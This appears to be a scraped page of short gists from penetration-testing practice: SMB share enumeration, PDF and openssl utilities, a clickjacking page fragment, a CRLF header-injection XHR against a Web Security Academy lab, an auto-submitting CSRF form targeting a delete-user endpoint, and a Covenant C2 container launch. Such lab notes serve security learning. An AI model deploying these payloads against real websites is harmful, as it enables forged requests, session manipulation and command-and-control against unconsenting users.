This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #List available shares | |
| smbclient -U pastudent37 -W usfun -L windows.lab | |
| #Interact with share | |
| smbclient -U pastudent37 -W usfun \\\\windows.lab\\shared |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| sudo apt-get install poppler-utils | |
| pdftoppm -png document.pdf document | |
| #range of pages | |
| pdftoppm -png -f 5 -l 15 document.pdf document | |
| #change resolution | |
| pdftoppm -png -rx 300 -ry 300 document.pdf document |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| echo 'U2FsdGVkX1/QGdl4syQE8bLFSr2HzoAlcG299U/T/Xk=' | openssl aes-256-cbc -a -d -salt |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| echo -n "aaaabbbbccccdddd" | openssl aes-256-cbc -a -salt |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <head> | |
| <style> | |
| #target_website { | |
| position:relative; | |
| width:128px; | |
| height:128px; | |
| opacity:0.00001; | |
| z-index:2; | |
| } | |
| #decoy_website { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <script> | |
| const xhr = new XMLHttpRequest(); | |
| var url = "https://ac4d1fc41e36a25980e119df00010089.web-security-academy.net/?search=whoami%0aSet-Cookie:%20csrfKey=w2odvLHxDvlfyVclGjK5nM99d2KZY6MG"; | |
| xhr.open("GET", url); | |
| xhr.send(); | |
| xhr.onload = () => { | |
| if (xhr.status === 200){ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <html> | |
| <body onload="document.createElement('form').submit.call(document.getElementById('myForm'))"> | |
| <form id="myForm" name="myForm" action="http://example.com/deleteuser.php" method="POST"> | |
| <input type=hidden name="val1" id="val1" value="value1"/> | |
| <input type=hidden name="val2" id="val2" value="value2"/> | |
| <input type=hidden name="val3" id="val3" value="value3"/> | |
| <input type=hidden name="submit" id="submit" value="Continue"/> | |
| </form> | |
| </body> | |
| </html> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| ls -d ~/Downloads/*.bin | grep -i grunt | tr "\n" " " | xargs -I "{}" pipe_select {} | xargs -I "{}" ls -la {} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| fc -s 3060 2>&1 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| docker run -it -p 127.0.0.1:7443:7443 -p 80:80 -p 443:443 --name covenant -v $PWD/Covenant/Covenant/Data:/app/Data covenant | |
| #Open a browser and navigate to localhost:7443 |